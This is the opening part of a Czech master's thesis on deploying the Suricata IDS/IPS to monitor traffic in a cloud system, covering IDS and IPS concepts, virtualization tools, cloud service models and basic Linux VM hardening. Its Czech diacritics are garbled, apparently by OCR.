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Abstrakt

Analytickd Cast prace je zamérena na IPS a IDS systémy, popisuji, k ¢emu
slouzi a jaké jsou mezi nimi rozdily. Analyzuji, jakym zptsobem probiha vir-
tualizace a jaké jsou virtualizac¢ni nastroje vyuzivané v cloudovych systémech.

V névrhové ¢asti prace pisu o moznostech monitorovani, uvazuji nad otdzkami,
kam umistit monitorovaci stroj, aby bylo mozné efektivné sledovat komunikaci
na siti, jakym zptisobem s timto monitorovacim strojem komunikovat, jak ho
spravovat a podobné. Duraz je kladen na bezpecény navrh, aby monitorovaci
zalizeni nevytvarelo nové vektory utoku.

V implementac¢ni ¢asti ukazuji, jak byly jednotlivé ¢asti implementovany,
popisuji, jak vytvorit monitorovaci stroj a vysvétluji, jakym zptsobem bylo
vytvoreno testovaci prostfedi. V ramci pripravy testovaciho prostredi bylo
vytvoreno i nékolik virtualnich stroju, které obsahuji aplikace se znamou zra-
nitelnosti.

V testovaci Casti nejdrive popisuji, jak probihalo testovani monitorovaciho
zalizeni, poté jednotlivych ¢asti systému, a nakonec i testovani celého systému.
Ukazuji zde i vygenerované zaznamy softwaru Suricata, které byly vytvoreny
pri testovani funkcénosti pravidel.

Klicova slova IDS, IPS, Suricata, Cloud Computing, Network Monitoring
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Abstract

The analytical part of the work is focused on IPS and IDS systems; I de-
scribe what they are used for and the differences between them. I analyze
how virtualization works and what are the virtualization tools used in cloud
Systems.

In the design part of the work I write about the possibilities of monitoring,
I consider the questions of where to place the monitoring machine, so that
it is possible to effectively monitor communication on the network, how to
communicate with this monitoring machine, how to manage it and so on.
Emphasis is placed on the safe design so that the monitoring device does not
create new attack vectors.

In the implementation part, I show how the individual sections were im-
plemented, describe how to create a monitoring machine, and explain how the
test environment was created. As part of the preparation of the test environ-
ment, several virtual machines were created, which contain applications with
known vulnerabilities.

In the test part, I first describe how the monitoring of the monitoring
device took place, then the individual sections of the system, and finally, the
testing of the entire system. I also show the generated records of the Suricata
software, which were created during the testing of the functionality of the
rules.

Keywords IDS, IPS, Suricata, Cloud Computing, Network Monitoring
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Uvod

Sluzby cloudovych servert jsou stale vice zddané, a proto je nutné je chranit.
Sledovani komunikace po siti je dilezitym bezpecnostnim prvkem, protoze
spoustu utoku 1ze timto odhalit a zneskodnit v zarodku, nez stihnou napachat
skody. V dnesni dobé se stile potykame s hackerskymi dtoky na systémy
nemocnic. Takovych nezabezpeCenych systémi muze byt ale vice. Cloudové
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zabezpecené, proto je tfeba se této problematice vice vénovat.

V této praci se budu zabyvat nasazenim monitorovaciho softwaru Suricata
na cloudovy systém Bigcloud. Navrhnu moznosti, jak by se mohlo monito-
rovani provadét a z téchto moznosti vyberu nejlepsi reseni, které se poté na-
sadi a otestuje. V analytické ¢asti se blize podivam také na cloudové sluzby a
jejich bezpecnost.

Prace navazuje na moji bakalarskou praci: ,, Monitoring sité v cloudovém
systému“, budu vyuzivat znalosti a informace v ni ziskané a uvedu je vice do
praxe. Nebudu tedy v této praci diukladné popisovat véci, které byly obsahem
mé bakalarské prace, ale uvedu jen zakladni informace, které povazuji jako
nezbytné k pochopeni kontextu.

I kdyz je moje préace uréena predevsim pro firmu S.I.C. s.r.o. (dale jen
SIC), popsané moznosti a zpusoby lze zobecnit pro vice systému. Préce muze
prospét i v mnoha dalsich ohledech. Ve své testovaci Casti, jsem vytvoril nékolik
zranitelnych stroji, které byly podrobeny penetra¢nim testtiim. éablony téchto
virtudlnich stroji budou pristupné na pozadani, zranitelné aplikace jsou pristupné
v prilozeném CD, a mohou byt tedy vyuzity k dalsim edukacnim ic¢elim. Po-
pisuji také virtualizaci a virtualiza¢ni nastroje pouzité na cloudovém systému,
to muze také zajimat Sirsi verejnost.

Dtilezité je dbat na bezpecénost navrhu, aby monitorovani nevytvarelo nové
vektory utoki.

V prvni kapitole shrnuji, co je cilem této prace. V dalsi kapitole se zabyvam
analyzou. Nejprve pisi o IDS a IPS systémech, pak popisuji virtualizaci, uka-
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zuji virtualizac¢ni nastroje a sluzby, které cloudové systémy poskytuji. Ve treti
kapitole se zabyvam navrhem, tedy zpusoby integrace softwaru Suricata do
systému, popisuji moznosti instalace, sbéru dat, uchovavani dat, rizeni soft-
waru, jeho aktualizaci a bezpec¢nost. Jednotlivé moznosti zhodnocuji a na zavér
vybirdm nejlepsi moznost. V posledni ¢tvrté kapitole se zabyvam testovanim
navrhu.



KAPITOLA

Cil prace

Cilem resersni ¢asti prace je obeznamit Ctenafe o tom, co to jsou systémy
IDS, TIPS, Bigcloud a jaké se pouzivaji virtualiza¢ni nastroje v cloudovych
systémech. V analytické ¢asti se také zabyvam funkcemi a vlastnostmi soft-
waru Suricata, které jsem pri zpracovani prace vyuzival. Dalsim cilem této
casti je analyzovat moznosti virtualizace a také jaké nastroje pouzivaji virtu-
aliza¢ni sluzby.

Cilem praktické ¢asti je navrhnout, jakym zptisobem by bylo mozné mo-
nitorovat provoz na siti v systému Bigcloud, jak uchovavat vygenerované
zaznamy softwarem Suricata, jak ridit software Suricata a aktualizovat ho. Ve
spolupraci s techniky ze spole¢nosti SIC. navrhnout port mirroring. Dilezité je
i vytvorit grafické rozhrani, pomoci kterého si mohou uzivatele nechat monito-
rovat své virtualni stroje. Je nutné pri ndvrhu dbat na bezpecnost, efektivitu,
monitorované stroje. Navrzené ¢asti poté implementovat. Po vypracovani im-
plementacéni ¢asti je potieba vse otestovat. Vytvorim testovaci prostiedi, které
nejprve sam otestuji a poté nabidnu k vyzkouseni studenttim z predmétu
BI-EHA (Etické hackovéni).

Prace bude prospésné i po edukativni strance, protoze vytvorim nékolik
virtudlnich strojt s riznymi zranitelnostmi, na kterych si studenti mohou vy-
zkouset své znalosti v oblasti hackovani, pfipadné mohou slouzit pro vyucujici
predmétu, které se tykaji bezpecnosti.

1.1 Motivace

Téma prace vzniklo na zédkladé podnétu od spolecnosti SIC. Dostal jsem za
ukol zabezpecit komunikaci virtualnich stroji ve spolecné siti. Tato nabidka mi
byla poskytnuta na zakladé mé predchozi spoluprace pri tvorbé mé bakalarské
prace.






KAPITOLA 2

Analyza

V této Casti prace se zabyvam analyzou nastroju, které budu pii praci pouzivat
nebo se mi budou hodit pfi vytvareni feseni nasazeni. Soucasti bude i analyza
typu cloudovych sluzeb. Zamérim se také na bezpecnost.

2.1 Systémy IDS a IPS

Systémy IDS a IPS se zaméfuji na monitorovani a analyzovani komunikace
probihajici na siti. LiSi se pouze tim, jakym zpusobem dokézi na udalosti
reagovat.

2.1.1 Intrusion Detection System (IDS)

Intrusion Detection System je obranny systém, ktery slouzi pouze ke sledovani
provozu na siti a nijak do néj nezasahuje. Slouzi jako doplnék k firewallu
a to tak, ze zatimco firewall kontroluje pouze hlavicky TCP/IP, tak IDS
Cte a provéruje i obsah kazdého packetu. Pokud se najde néjakd podezield
aktivita, tak pouze ohlasi tuto skute¢nost predem definovanym zpusobem,
napriklad zapisem do logu. Témto aktivitdm se fika udalost neboli event.
Jakym zpusobem se zapisi do logu, zavisi na zpisobu nastaveni a stupném
ohrozeni, pokud se jedna o néco zavazného, tak se v logu objevuje jako alert.
Jak jsem jiz psal, tak IDS provéruje obsah kazdého packetu, kvili vyhod-
noceni zadvaznosti. To, jestli je obsah potencidlné skodlivy anebo ne, urcuji pra-
vidla, ktera jsou nezbytné nutnd pro chod. Musi je mit vSechny IDS. Existuje
vefejnd databaze pravidel, napt. zde https://rules.emergingthreats.net/,
kde je mozné je najit a staAhnout. Nastésti pravidla pro rtzné systémy jsou po-
dobné a je mozné pouzit jedna pravidla pro vice systému nebo je lze prevést.
Pravidla jiz vice rozebirat nebudu, protoze jsem jiz podrobné popsal, jak vy-
padaji a jak funguji ve své bakalarské praci, zde se bez této znalosti obejdu.



2. ANALYZA

Nyni bodové popisu, co ndm IDS zajistuje:

e Monitoruje a analyzuje aktivity systému a uzivatele

« Kontroluje systémové konfigurace a zranitelnosti

e Posuzuje integritu kritickych systému a dat

o Statisticky analyzuje aktivity zalozené na shodé se znamymi ttoky
e Analyza abnormalnich aktivit

« Zajistuje kontrolu opera¢nfho systému

Tyto body ndm IDS zajisti, nyni uvedu, co pfesné umi a naopak, co od
ného nemuzeme ocekavat, podle toho jiz bude pozdéji vidét hlavni rozdil mezi
IDS a IPS.

IDS mize poskytnout:

e prida vétsi stupen integrity do infrastruktury

o dokaze sledovat aktivitu uzivatele, odkud kam posila packety

o dokaze rozpoznat a ohlasit zmény dat

o automatizuje tlohu sledovani internetu pri vyhleddvani nejnovéjsich utoki
o dokaze detekovat, kdyz je systém pod ttokem

o muze detekovat chyby v konfiguraci systému

e muze navadeét spravece systému pri vytvareni politik v systému

e miulze zajistit, aby bezpec¢nostni managment systému mohl provadét ne-
odborny personal

Naopak, co IDS neposkytuje:

e neni mozné tim kompenzovat slabé mechanismy identifikace a autenti-
zace

e neni mozné zkoumat ttoky bez zasahu c¢lovéka

« nekompenzuje slabiny sitovych protokoli

o nekompenzuje problémy v kvalité informaci, které systém poskytuje
e nemuze analyzovat veskery provoz v zaneprazdnéné siti

o nedokaze se vzdy vyporadat s Gtoky na drovni packetil

e rozhodné neni antivirovy program, firewall

Analyza IDS byla vytvorena na zakladé textu [3] [4] [5] [6].



2.1. Systémy IDS a IPS

2.1.2 Intrusion Prevention System (IPS)
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co IDS, ale navic dokazi i aktivné zasahovat do déni na siti. Softwary, které
funguji jako IDS, napf. software Suricata nebo Snort, umoznuji ménit své
chovani, tedy mohou fungovat jako IDS i jako IPS.

Pokud IPS zachyti podezielou aktivitu, tak se vyvola tzv. akce, ktera je
definovana v pravidle, které zachytilo tuto udalost.

Akce jsou nasledujici:

1. vystraha — upozornuje na potencidlni nebezpeci vygenerovanim udalosti
2. zahozeni provozu — je mozné predtim, nez se nebezpeci dostane do sité

provoz zahodit, jsou 3 moznosti provedeni

a) zahozeni packetu

b) zahozeni skupiny packeti daného spojeni. Muze byt definovédno na
zékladé zdrojové IP adresy, cilové IP adresy, cilového portu a po-
dobné.

c¢) zahozeni packeti na zékladé zdrojové IP adresy.

3. blokovani — zablokovani provozu na vzdalenych mistech v siti
4. okamzité ukonceni TCP spojeni
5. povoleni — pridani vyjimky do pravidel

Pro popis systému IPS jsem vyuzil obdobné zdroje jako v predchozi ¢ésti
ohledné IDS. [3] [4] [5] [6] Podrobnéjsi informace jsou k dispozici v mé ba-
kalarské praci.

2.1.3 Vybér systému

Pracovat budu vyhradné se softwarem Suricata, ktery mize fungovat jako
IDS i jako IPS. Tento software mi byl doporucen zadavatelem prace a byl i
tématem mé bakalarské prace. Napisu zde nékolik vyhod softwaru Suricata,
podrobnéji jsem se tomu vénoval ve své bakalaiské praci [6].

e distribuovan pod licenci GPLv2 a veskeré jeho pouzivani je zdarma
e neustale se na ném pracuje a vyviji se

e existuji a stdle se vytvari nastroje pro uleh¢eni komunikace s nim, napf.
Suricatasc, ktery slouzi pravé na monitorovani stavu softwaru Suricata

e lépe analyzuje packety nez konkurencni softwary, packety zpracovava
vice vlaknové, a tedy je mozné zpracovavat vice packett nardz, tim
padem dochézi k méné vypadktm pri analyze vysokorychlostni sité

e je s nim snadnd manipulace a je dobfe zdokumentovan
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2.2 Virtualiza¢ni nastroje

V této sekci se zabyvam virtualizaci obecné. Potfebuji zjistit, jakym zptisobem
software Suricata spravovat, instalovat a pracovat s nim. Proto potiebuji zana-
lyzovat, jakym zptisobem funguje virtualizace a potiebuji zjistit, jaké softwary
virtualizaci umoznuji. Ukazi zde virtualiza¢ni techniky, zptisoby virtualizaci a
nékteré konkrétni nastroje. Budu se zamérovat predevsim na nastroje, které
jsou nasazeny na systému Bigcloud, budu uvazovat ale i jejich alternativy.

Pomoci virtualizace se vytvari simulované, nékdy oznacované jako virtudlni
vypocetni prostredi, namisto fyzického prostiedi. Virtualizace ¢asto zahrnuje
pocitacem vytvorené verze hardwaru, operac¢nich systémt, tloznych zarizeni
a dalsich. Umoznuje rozdélit jeden fyzicky pocita¢ nebo server na nékolik
virtudlnich pocitact, které potom mohou pracovat nezavisle na sobé, mo-
hou spoustét rizné operacni systémy, zatimco sdili prostiedky jediného hosti-
telského pocitace. [7]

Nyni uvedu souhrn nékolika duvody k virtualizaci, které beru odtud [g]:

e zjednoduseni spravy

e vyznamnd uspora investi¢nich a provoznich nakladu

e lepsi zhodnoceni porizeného hardware

e snadné vytvoreni nového virtudlniho serveru

e moznost provozu vice operacnich systému na jednom fyzickém serveru
e pruznéjsi zmény a migrace ve virtualni infrastrukture

e rychlé tpravy vypocetni kapacity virtualniho serveru

e obnova starého hardware pti zachovani starsich opera¢nich systému
e nezavislost na vybéru vyrobce hardware

e vysoka dostupnost aplikaci a sluzeb

e jednodussi zalohovani, obnova ze zaloh

o efektivni testovaci prostredi



2.2. Virtualiza¢ni nastroje

2.2.1 Druhy virtualizaci

Existuje vice pristupt ¢i technik k virtualizaci. V této ¢asti jsem cerpal infor-
mace z téchto zdroju [9] [I0] [11] [12].

o emulace(simulace)

e plna

Virtualni stroj simuluje cely hardware. Tento pfistup je nejuni-
verzalnéjsi, ale nejméné vykonny. Je implementovana Sirokou skalou
technik od stavovych automati az pod dynamickou rekompilaci
na plné virtualizovanych platforméach. Umoznuje na libovolné plat-
formé spustit systém jiné architektury.

priklady — Bochs, PearPC, Microsoft Virtual PC pro PowerPC,
QEMU bez akcelerace

(softwarova) virtualizace

Jiz se neemuluje procesor, vSe ostatni ano. Virtudlni stroj simu-
luje dostateéné mnozstvi hardwaru tak, aby umoznil oddéleny béh
neupraveného opera¢niho systému hosta urceny pro stejny druh
procesoru. Vyzaduje se tedy aby hostovany i hostujici systém mély
stejnou architekturu. Pro kazdy systém se totiz vytvari identicky
obraz fyzické architektury. Hostovany operacni systém maé tedy
k dispozici stejnou instrukéni sadu. Bindrné se prepisuji jednotlivé
instrukce uvniti virtualu. Jedna se o nejbéznéjsi druh virtualizace.
Dochéazi zde ke snizeni vykonu oproti paravirtualizaci, protoze je
oddélena fyzicka a programové vrstva, hypervizor emuluje fyzické
vybaveni a vétsinu operaci provadi ve vlastnim softwaru, misto
toho, aby to vykonéval hardware piimo.

priklady — KVM, XEN, VirtualBox, VirtualPC, VMware Server,
Hyper-V

o Castecnd virtualizace (virtualizace adresniho prostoru)

Virtualni stroj simuluje vice instanci mnoha prostiredi hardwaru, na
kterém bézi hostitel, predevsim adresniho prostoru. Proto mtzeme
zde mluvit o virtualizaci adresniho prostoru. Takové prostiedi pod-
poruje sdileni zdroju a izolaci procesu, ale neoddéli instance hosto-
vanych operacnich systémi.

priklady — pouzit u CTSS, IBM M44/44X a zfejmé i u OpenVMS
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e paravirtualizace

— Virtudlni stroj nemusi emulovat hardware, ale misto toho nabizi
API, to ale vyZzaduje upraveny hostovany systém. Zajistuje vysoky
vykon, protoze vétsinu vypocetniho vykonu realizuje skuteény pro-
cesor, komunikuje se pfimo s jadry. Systémové volani hypervizoru
se nazyva hypercall.

— priklady — VMWare, XEN, Hyper-V
 virtualizace na trovni opera¢niho systému

— Jedna se o nejméné abstraktni zpisob virtualizace. Virtualizuje se
fyzicky server na trovni opera¢niho systému, coz umoznuje béh
vice izolovanych virtudlnich serverti na jednom fyzickém serveru.
Pro sviij béh vyziva jedno jadro operac¢niho systému.

— priklady — OpenVZ, FreeBSD Jail, Solaris Zones
« aplika¢ni virtualizace

— Desktopové nebo serverové aplikace mohou bézet ve zvlastnim virtualnim
stroji. Takova aplikace bézi v malém virtudlnim prostiedi obsahujici
komponenty nutné ke spusténi, napr. polozky registrii, soubory,
proménné prostiedi a dalsi. Toto prostfedi se chova jako vrstva
mezi aplikaci a opera¢nim systémem.

— priklady — JAVA Virtual Machine, .NET Framework, Wine

2.2.2 Virtualizacni systémy

Nyni vas sezndmim s nékolika konkrétnimi virtualiza¢nimi systémy, které im-
plementuji virtualizacni techniky, které jsem popsal vyse.

« KVM
KVM je open source virtualni technologie pro systémy Linux. Umoznuje
vyuzivat pocitac jako hypervisor, ktery dokaze zajistit béh nékolika virtualnich
stroji v izolovaném virtudlnim prostiedi. Kazdy virtudlni stroj je imple-
mentovan jako reguldrni proces s dedikovanym virtualnim hardwarem jako
sitova karta, graficky adapter, CPU, a dalsi.

Nyni uvedu nékolik jeho vlastnosti:

— bezpectnost — pouziva kombinaci Security-Enahnced Linux
(SELInux) a secure virtualization (sVirt), aby zajistil bezpe¢nost a
izolovanost virtualnich stroju

— ulozisté — dokaze vyuzivat jakéhokoli 1lozisté podporované Linuxem,
podporuje sdileni jednoho virtualniho stoje vice uzivateli

10
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v 7 . 7 V. . v
— memory manager — dédi vlastnosti spravy paméti z Linuxu, pamét
virtudlnich stroji mize byt swapovana, zdlohovana a podobné

— zivd migrace — podporuje zivou migraci, coz je proces presunuti virtualniho

stroje mezi fyzickymi komponentami bez toho, aby se omezily sluzby
— vykon a skélovatelnost — dédi se z Linuxu a pii zvysovani poctu
pozadavku se skalovani prizpusobi pozadavkim

Informace pro popis KVM jsem ziskal odtud [13].

XEN

Jednd se o open source virtualizacni software. Umoznuje béh nékolika
virtudlnich stroji na jednom fyzickém hardwaru, pfitom jsou opét izolo-
vané. Virtuadlni stroje bézi paravirtualizované, jadro hosta tedy musi byt
upraveno, aby se nemohly pouzivat instrukce, které se daji pouzivat pouze
v privilegovaném rezimu. Jadro operacniho systému totiz nebézi v supervi-
sor mode, ale na méné privilegované trovni v zavislosti na tom, zda se
pouziva architektura 32bit nebo 64bit. Pro vykondvani privilegovanych
instrukci slouzi hypervizor, ktery je zprostredkovatelem mezi hardwarem
a virtudlnimi stroji. Hypervizor spravuje pristup k paméti a opera¢nimu
hardware, slouzi i k monitorovani a administraci virtualnich stroji. Xen
neni zaclenén v jadre Linuxu. [14] [I5]

VirtualBox

Jedna se o multiplatformni virtualizacni nastroj. D& se pouzivat jak na
opera¢nim systému Windows, tak i na Linuxu/Unixu nebo Mac OS. Mo-
mentalné je vyvijen spole¢nostni Oracle, ale pivodnim vyvojarem je Inno-
tek GmbH. VirtualBox lze bud’ ziskat jako bindrni soubor anebo lze ziskat
jeho zdrojové kédy. VirtualBox funguje na bazi plné virtualizace.

Zakladnimi funkcemi jsou:

— podpora vice jazyki
— snapshoty — podpora ukladani aktualnich obrazt stavu virtualniho
stroje

— seamless mode — tento rezim umoznuje premistit vybranou aplikaci
z virtualniho stroje do hostitelského systému, uzivatel diky tomu mtze
pracovat s aplikacemi od Microsoftu na Linuxu

— podpora prenosu obsahu schranky

— sdilené slozky

— specialni ovladace a nédstroje pro snadnéjsi prepinani mezi systémy
— ovladani pres prikazovou radku

— podpora hardwarové virtualizace — podporuje technologie spole¢nosti

Intel T a AMD AMD-V

11
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VirtualBox ale jesté obsahuje rozsitené funkcionality proprietarni verze.
Tyto funkce se vyskytuji v komeréni verzi:

— remote display protocol (RDP) server — funkce pro podporu béziciho
RDP serveru nad vSemi virtudlnimi stroji a umoznuje pripojeni k nim
pomoci protokolu RDP

— podpora USB — podpora pripojeni USB zafizeni do virtudlnich stroji

— USB over RDP — funkce umoznujici pfipojeni v kombinaci s RDP
serverem pripojeni USB zafizeni ze vzdéleného klienta do virtualniho
stroje

— iSCSI initiator — podpora iSCSI s moznosti pripojovani dalsich ta-

kovych zarizeni do virtualnich stroji

balicek extension pack — podpora pro USB 3.0, VirtualBox RDP, PXE

boot pro sifové karty Intel

Tuto ¢ast vénovanou VirtualBoxu jsem bral odtud [16].

2.2.3 Virtualni stroj

Virtualni stroj je software nebo pocitacovy soubor, obvykle se oznacuje jako
image, ktery se chova jako skuteény pocitac. Poskytuje uzivateli stejné prostiedi,
jaké by mél v samotném hostitelském operacnim systému. Je izolovany od
zbytku systému ¢ili software ve virtudlnim stroji jej nemuze opustit. [17]

Tato vlastnost se ¢asto vyuziva pro:

o testovani operacnich systému

e pristup k datiim napadenymi viry

e vytvareni zaloh operac¢niho systému

e pousténi softwaru na operacnich systémech, pro které nebyly urceny

Dtlezité je se také zaméfit na bezpecnost virtudlnich stroji. Konkrétné se
nyni budu vénovat obecnym pravidliim, jak zabezpecit virtuadlni stroj s opera¢nim

systémem Linux. Je dulezité mit na paméti, Zze bezpecnost stoji na bezpecnosti
nejslabsiho ¢lanku. Obecné pravidla pro zabezpeceni:

e je dilezité mit dobré a silné heslo, shrnu nékterd obecna pravidla pro
vytvareni hesla

1. heslo se nesmi shodovat s uzivatelskym jménem

2. heslo by mélo obsahovat kombinaci alfanumerickych znaki

3. heslo by mélo byt dostatecné dlouhé, ¢im delsi, tim déle trva ho
prolomit

4. heslo by mélo byt silné, ale zaroven by si ho mél uzivatel dokézat
zapamatovat, aby nebylo napsané na papirech nebo v souborech,
ke kterému by se mohl itoénik dostat

12
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vice uzivatelt by nemélo mit stejné heslo, pokud se prolomi u jednoho,
prolomi se u ostatnich

je tfeba vhodné nakonfigurovat ptikaz sudo

je vhodné omezit skupinu uzivatell, kteri maji vzdaleny pristup ke stroji
pres ssh, nastavuje se v souboru /etc/ssh/sshd_config

je dobré zablokovat vzdaleny pristup pres ssh na uzivatele root

muzou se monitorovat pokusy o prihlaseni a blokovat stroje, které se
pokousi neopravnéné dostat na stroj

je tfeba si dat pozor na software, ktery nabizi sitové sluzby, které neumime
nakonfigurovat nebo které jsou nakonfigurovany spatné, mohou zanechavat
oteviené porty, které mohou vyuzit itocnici

Existuji i zdarma online nastroje pro zkontrolovani bezpec¢nosti. Znamy je
napiiklad https://www.ssllabs.com/ssltest/, ktery zkontroluje certifikaty
na dané doméné, zkontroluje konfiguraci protokolt a dalsi.

2.2.4 Typy cloudovych sluzeb

Nyni se zamérim na jednotlivé typy cloudovych sluzeb. Konkrétné uvedu zde
modely SaaS, TaaS a PaaS a ukdzi jejich vyhody. Na obrdzku[2.1] je vidét jejich
porovnani.

Traditional IT Infrastructure Platform Software
(as a Service) (as a Service) (as a Service)
N s |
e L
= _ Middleware Middleware E
f 4 _ L QOperating System - - Operating System g_ Operating System =
= 3 o o
$ | Vintualization Virtualization | = Virtvalization  |-o  Virtualizaon | £
_ Storage é Storage " Storage
| Networking Networking ®  Networking Networking

Obrazek 2.1: Porovnani SAAS, PAAS, TAAS [I]
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2.2.4.1 SaaS

Model SaaS (software jako sluzba) umoziiuje uzivatelim pfipojit se ke clou-
dovym aplikacim a vyuzivat je pres internet. Je to zpusob poskytovani licenci
software, kde si zdkaznik nekupuje primo licenci na software, ale pouze si soft-
ware pronajima. Jedna se tedy predevsim o cenovy model. Veskerd podpurna
infrastruktura, middleware, software a data aplikace jsou umisténé v datovém
centru poskytovatele sluzeb. Poskytovatel sluzeb spravuje hardware, software
a zajistuje dostupnost a bezpecnost aplikace a dat.

Mezi ¢astymi sluzbami byvaji webové e-mailové sluzby (Outlook, Hotmail),
ke kterym se uzivatelé mohou prihldsit pomoci internetového tctu z libo-
volného pocitace. Dalsi ¢astou sluzbou jsou napriklad kalendare, kancelarské
néstroje (Microsoft Office 365).

Zdrojem informaci pro SaaS bylo [18] [19].

Zékladnim rozdilem mezi SaaS a klasickym pofizovanim licenci software
jer

o software zakoupeny klasickou formou ma licenci na dobu neurcitou, jenze

software Casem zastarava, pro aktualizaci je tfeba zaplatit za udrzbu
nebo dokoupit verzi novou

o software zakoupeny v SaaS modelu je na dobu urc¢itou, ale neustéle se
aktualizuje, obvykle se plati formou predplatného mési¢né nebo roéné

Nyni kdyz vime, co to je model SaaS, tak shrnu nékteré jeho vyhody:

e mneni potfeba zadného specidlniho hardware, instalovat ¢i aktualizovat
software nebo middleware, vhodné treba pro organizace, které nemaji
prostiedky na nakup, nasazeni a spravu potiebné infrastruktury

o plati se pouze za to, co se pouziva, sluzba SaaS se automaticky prizptsobuje
arovni vyuziti

o pristup k dattim odkudkoli, neni potfeba se starat o vyvoj aplikaci, které
by sly spoustét na ruznych typech pocitact a zafizeni, protoze to je na
poskytovateli sluzeb

2.2.4.2 PaaS

Paa$S (platforma jako sluzba) je iplné prostiedi pro vyvoj a nasazeni v cloudu,
které poskytuje prostredky, které umoznuji dodat cokoli od jednoduchych
cloudovych aplikaci po vétsi podnikové aplikace s podporou cloudu. Prostredky
se kupuji od poskytovatele cloudovych sluzeb pomoci predplatného a pristupuje
se k nim internetovym pripojenim. Vlastnik sluzby spravuje pouze vyvijené
aplikace a sluzby, zbytek spravuje poskytovatel cloudové sluzby.
PaaS zahrnuje infrastrukturu (servery, tlozisté, sité), middleware, vyvojarské

néstroje, sluzby business intelligence, systémy spravy databazi a dalsi néstroje.
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Je navrzeny tak, aby podporoval cely zivotni cyklus webové aplikace, podpo-
ruje tedy sestaveni, testovani, nasazeni, spravu a aktualizace aplikace.
Informace pro PaaS jsem Cerpal z [20].
PaaS se obvykle pouziva v nasledujicich scénarich:

e vyvojova architektura — PaaS poskytuje architekturu, na které mohou
vyvojari stavét, napriklad cloudové funkce obsahuje v sobé jiz velké
mnozstvi kodu, které vyvojari nemusi psat znovu

o analytické funkce a funkce business intelligence — poskytnuté néstroje

v PaaS umoznuji analyzovat data, ziskdvat nahledy a dalsi

o poskytovatelé PaaS mohou poskytovat dalsi sluzby, které vylepsuji apli-
kace, jako naptiklad planovani, zabezpeceni

Mezi vyhody PaaS se radi:

e obsazené nastroje mohou snizit dobu psani kédu jinych aplikaci, protoze
obsahuje predpfipravené aplika¢ni komponenty integrované primo v plat-
formé

e snazsi a efektivnéjsi vyvoj pro vice platforem

e diky predplatnému neni software tak drahy a muzou si ho dovolit jed-
notlivci

e vyvojari mohou pristupovat do systému odkudkoli

e podpora zivotniho cyklu aplikaci

2.2.4.3 TIaaS

IaaS (infrastruktura jako sluzba) je vypocetni infrastruktura okamzité pripravena,
kterd je poskytovdna a spravovana pres internet. Sluzba rychle skdluje podle
toho, jak se vyuziva, a diky tomu se plati jen za to, co se opravdu vyuziva.
Zakaznik se diky tomuto vyhne kupovanim drahého hardwaru pripadné spra-
vovani vlastnich datacenter. Pomoci tohoto modelu si zdkaznik pronajimé
jednotlivé sluzby, které potiebuje.

Typickymi oblastmi, kde se vyuziva TaaS jsou:

e Vvyvoj a testovani — lze snadno sestavit a rozebrat vyvojova a testovaci
prostfedi rychle a ekonomicky

e hostovani webu — pres laaS mize byt provozovani levnéjsi nez tradicni
hostovani webu

o tloziste, zalohovani a obnoveni dat — neni potfeba investovat do hard-
ware na uchovavani dat, neni potfeba tesit jejich spravu

o webové aplikace — [aaS poskytuje infrastrukturu pro podporu webovych
aplikaci, webovych serveru, lze snadno skalovat infrastrukturu podle
potteby
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o analyza velkych objemu dat
Nyni kdyz vime, co to IaaS je a kdy se da pouzit, tak pristoupim k jeho
vyhodém.

e snizuje investi¢ni nédklady i pribézné vydaje

o zlepsuje kontinuitu podnikovych procesi a zotaveni po havarii

e rychlé zvyseni vypocetni infrastruktury

o rychla skélovatelnost prostredkt

o zvyseni stability, spolehlivosti a podporovatelnosti — poskytovatel sluzeb
zajistuje spravu i upgrade infrastruktury

« lepsi zabezpeceni — poskytovatel cloudové sluzby muze zajistit lepsi za-
bezpeceni aplikaci a dat, nez kterého se dosahne vlastnimi prostredky

e mnové aplikace se dostanou k uzivateliim rychleji diky rychlému rozsireni
infrastruktury

Informace o IaaS jsem bral odtud [21].

2.2.5 Virtualizované casti systému

V této sekci se zaméirim na jednotlivé c¢asti systému, které se virtualizuji. V
této sekci budu vyuzivat informaci odtud [22] [23].

e Virtualizace servera
Umoznuje vyuzit naplno vykon serveru tim, Ze ho rozdéli na nékolik virtualnich
servert, z nichz kazdy bude mit vlastni opera¢ni systém. Timto zptsobem
se d& odvést vice prace s méné prostredky, coz ve vysledku snizi vydaje za
hardware a celkové provozni naklady.

¢ Virtualizace aplikaci a plochy
Aby mohli uzivatelé pouzivat aplikace, které jsou nainstalované na vzdalenych
pocitacich, z vlastnich zarizeni, tak diky této virtualizaci se aplikace mohou
nainstalovat na centrdlni server a na nich je budou uzivatelé pouzivat. Diky
tomu mohou uzivatelé pouzivat aplikace odkudkoli a aktualizace ¢i opravy
se provadi pouze na centralnim serveru.

e Virtualizace sité
Usnadnuje programovani a zrizovani siti, naptiklad vyrovnani zatéze nebo
pouzivani firewallu, aniz by bylo nutné zasahovat do infrastruktury sité.

Sitovou virtualizaci se oznacuje proces kombinace hardwarovych a softwa-
rovych zdrojt a sitové funkcionality v jeden celek a tou je virtudlni sit.
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Existuji rizné nastroje, které nabizi sifovou virtualizaci, sou¢dstmi virtudlni
sité jsou:

— sffovy hardware — switche, sitové karty

— sitové prvky — firewall, rozloZeni zatéze

— sité — VLAN, virtudlni stroje, kontejnery

— sitova tloziste

— sit M2M prvki — 4G HLR, SLR zafizeni

— sit mobilnich prvki — notebooky, tablety, mobilni telefony

sitovd média — ethernet, fibre channel

Virtudlni sit se oznacuje bud jako externi, kombinuje mnoho siti ¢ ¢asti
siti do virtudlni jednotky, nebo interni, poskytuje sitovou funkcionalitu
softwarovym kontejnerim na jednom systému. [24]

— Externi sifova virtualizace
V tomto druhu virtualizace je jedna ¢i vice lokdlnich siti kombino-
vanych anebo rozdélenych do virtudlnich siti s cilem zlepsit i¢innost
velké podnikové sité. Dulezitymi komponenty jsou VLAN a switch.
Témito komponentami dokaze spravce systému nakonfigurovat systémy
fyzicky pripojené do stejné lokalni sité v ruznych virtualnich sitich. [24]
— Interni sifova virtualizace
Zde je jediny systém nakonfigurovan s kontejnery, jakozto Xen doména,
kombinované s hypervisorem kontrolujicim programy nebo pseudoroz-
hrani, jako je VNIC. Timto lze dosdhnout zvyseni celkové tic¢innosti
jediného systému, a to tim, Ze izoluje aplikace do jednotlivych kontej-
neru ¢i pseudorozhrani.
Napriklad Microsoft Virtual Server pouziva virtualni stroje, podobné
jako Xen, pro vytvoreni scénare sité pro x86 systémy. Tyto kontej-
nery mohou provozovat odlisné operacni systémy (Windows ¢i Linux,
apod.). [24]

